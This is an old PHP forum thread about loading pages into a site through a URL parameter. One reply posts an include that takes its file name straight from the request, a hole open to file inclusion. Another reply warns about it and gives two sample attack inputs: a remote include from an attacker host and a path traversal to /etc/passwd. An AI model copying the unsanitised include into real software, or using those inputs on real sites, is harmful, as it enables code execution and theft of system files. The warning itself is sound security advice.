php iframe navigation

  • buzzby365
  • Proficient
  • Proficient
  • buzzby365
  • Posts: 288

Post 3+ Months Ago

i have almost run out of time and dont feel that i can do the mysql/php combination. i need a little help with the iframe part, i know how to do iframes by themselves as htm with iframes included. but there is a way to use php and iframes together, how do i do a php navigation with iframes. the menu is to load in files. the menu needs to be php that loads in the file into the iframe. do i still need to have a table with 2 columns. one column for the iframe?
  • Carnix
  • Guru
  • Guru
  • User avatar
  • Posts: 1098

Post 3+ Months Ago

PHP parsing happens on the server, before the browser every sees the files. As far as the browser knows, the file is a flat HTML file. Do it like you always would, and use PHP to make the voodoo happen that you can't do with HTML.

Try this:

Create a page with an iframe as you would normally, then change the file extensions to .php and upload them to a server capabable to running PHP files (don't forget to change them in the HTML too).

Survey says? Ding! It works just like it always does. You have to mind your output a little more, because the browser won't see a byte of PHP code, but you'll get the hang of it soon enough.

.c
  • buzzby365
  • Proficient
  • Proficient
  • buzzby365
  • Posts: 288

Post 3+ Months Ago

what is the deal with SWITCH and BREAK and CASE in the php navigation and how does that relate to php navigation with iframes
  • SpooF
  • ٩๏̯͡๏۶
  • Bronze Member
  • User avatar
  • Posts: 3422
  • Loc: Richland, WA

Post 3+ Months Ago

errr umm not sure if this is what your talken about but ya hmm do you mean have it so when u click a link a file loads into your site???

cuse thats EASY! lol

this is how i do it

PHP Code: [ Select ]
 
<?
 
if ($view) include("$view.php"); else include("defult.php");
 
?>
 
 
  1.  
  2. <?
  3.  
  4. if ($view) include("$view.php"); else include("defult.php");
  5.  
  6. ?>
  7.  
  8.  

so basicly what happens is you insert that where u want the page to load and make your links

index.php?view=pagename

you can change the view to anything you want like id, page, nav lots of things its just a var and the defult im guessing you know what that does but if you dont then if the page you want to view isnt there then it will put that page in.

NOTE: these files have to be php blah blah blah lol i learned this from my friend off of his site http://www.systemspecs.com

you can go to his forum and look at the hole tutorial by like 4 ppl lol

http://www.systemspecs.com/forum/viewtopic.php?t=248&sid=77a662d59885ced1e7e6891059f0555e
  • rtm223
  • Mastermind
  • Mastermind
  • User avatar
  • Posts: 1855
  • Loc: Uk

Post 3+ Months Ago

Spoof, as the second from last post on that page said, your script does not check to see if the file exists; if it doesn't, you will get a error message on your page.

Secondly, and more importantly, thats a good way to get your site f*** over.

try:

index.php?view=http://evilbastard.com/evilhack

where evilhack.php is, as you may have guessed, an evil hack from a remote server. Alternatively someone could put in:

index.php?view=../../../../../../../etc/passwd


Fair enough if security doesn't matter one bit to you, but it should. Both those examples were taken from:

http://solidox.org/index.php?w=module:a ... view,id:11

I just thought I would mention this so no-one thinks a script like that is a good idea....

BTW, I like how that topic was called "PHP includes (advanced)"
  • SpooF
  • ٩๏̯͡๏۶
  • Bronze Member
  • User avatar
  • Posts: 3422
  • Loc: Richland, WA

Post 3+ Months Ago

well i know its an easy way to hack a site, thats why most clan scripts changed the way there page is displayed but if your site doesn't use a database then it doesn't really matter :D i just don't like to edit every page if i change the nav and i know i could just use a php include if i wanted but ya lol, and im not a php expert i just know what i want to know :D
  • rtm223
  • Mastermind
  • Mastermind
  • User avatar
  • Posts: 1855
  • Loc: Uk

Post 3+ Months Ago

Thats cool if you're not bothered about it, I just though I would put up a warning to people who didn't realise.

Lol I'm not a php expert either, I just know what I want to know :D it just happens one of those things is security lol
  • stevegmag
  • Novice
  • Novice
  • User avatar
  • Posts: 29
  • Loc: Washington DC

Post 3+ Months Ago

I always do some thing like:

http://www.url.com/page.html?view=4

then in your script get the value for view and add a switch statment

switch(view) {
1: include nav1; break;
2: include nav2; break;
default: don't even try to url hack my site;
}

this of course isn't air tight php security, if someone wants to mess with you they're gonna mess with you, but it helps.

Post Information

  • Total Posts in this topic: 8 posts
  • Users browsing this forum: No registered users and 50 guests
  • You cannot post new topics in this forum
  • You cannot reply to topics in this forum
  • You cannot edit your posts in this forum
  • You cannot delete your posts in this forum
  • You cannot post attachments in this forum
 
 

© 1998-2014. Ozzu® is a registered trademark of Unmelted, LLC.